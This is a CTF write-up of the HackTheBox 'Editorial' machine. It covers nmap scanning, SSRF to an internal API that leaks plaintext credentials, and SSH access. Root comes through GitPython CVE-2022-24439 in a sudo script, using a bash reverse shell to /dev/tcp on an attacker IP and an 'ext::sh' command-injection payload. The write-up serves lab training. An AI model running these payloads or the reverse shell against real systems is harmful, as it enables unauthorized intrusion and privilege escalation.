> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md). # Editorial HackTheBox Writeup Editorial HackTheBox Easy Linux machine writeup covering SSRF, Git Log, Git Python, with practical enumeration, exploitation, foothold, and privilege escalation notes. {% embed url="" %} {% hint style="warning" %} **Skills:** * SSRF * Git Log * Git Python {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,22 10.10.11.20 -oN targeted ```

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

## Vulnerability [SSRF](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md): The "Browse" button allows us to download a file that is supposed to be an image representing the cover of a book. While the “Cover URL linked to your book” text field allows you to enter a URL so that it can be viewed by the service and an image can be uploaded.

#### **Opening** [**Burp Suite**](/hacking-tools/web/burpsuite.md)**:** When an image is uploaded to the server, a link to its storage location is provided.

We then perform a brute force attack on all 65,535 ports and see that only port 5000 returns a different response.

By checking the contents of internal port 5000, we discover that it allows downloading a file.

This file, in JSON format, lists internal APIs with their associated routes. Among them, the `message/authors` route seems particularly critical.

With Burp Suite, we therefore access the file via port 5000 at the following address: ```url http://127.0.0.1:5000/api/latest/metadata/messages/authors ```

In this file we also find a clear user and password `dev:dev080217_devAPI!@`

We then try to connect to `SSH` via port 22, which is open, and succeed in obtaining the user flag.

## Privilege Escalation #### After accessing the Linux server, it is recommended to run the following commands in the terminal to optimize working efficiency and comfort: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` By navigating to the root of the system, we see the presence of two users: **dev** and **prod**.

The user **dev** has two visible folders and one hidden folder named "git". By running the `git log` command, we observe two distinct commits.

Among these commits, the password of the user **prod** appears in plain text: `prod:080217_Producti0n_2023!@`.

We then log in via SSH as user **prod**.

### Sudoers: By running the `sudo -l` command, we discover that we have the ability to run a script as **root**.

A vulnerable version of the Git library, identified by the `clone_from` function, is present. By displaying the list of Python packages with `pip3 list`, we notice that **GitPython 3.1.29** is installed, a version known for the vulnerability **CVE-2022-24439**, which allows the execution of arbitrary code. This flaw can be exploited as follows:

{% embed url="" %} We will create an exploit script in the temporary directory to obtain a reverse shell: ```bash bash -i >& /dev/tcp/10.10.14.139/4444 0>&1 ```

Then on our machine we listen on port 4444 using **netcat**

Finally, we run the binary with **sudo**, adding our payload: ``` ext::sh -c bash% /tmp/shell ``` {% code overflow="wrap" fullWidth="true" %} ```bash sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell' ``` {% endcode %} ### Flag root : )

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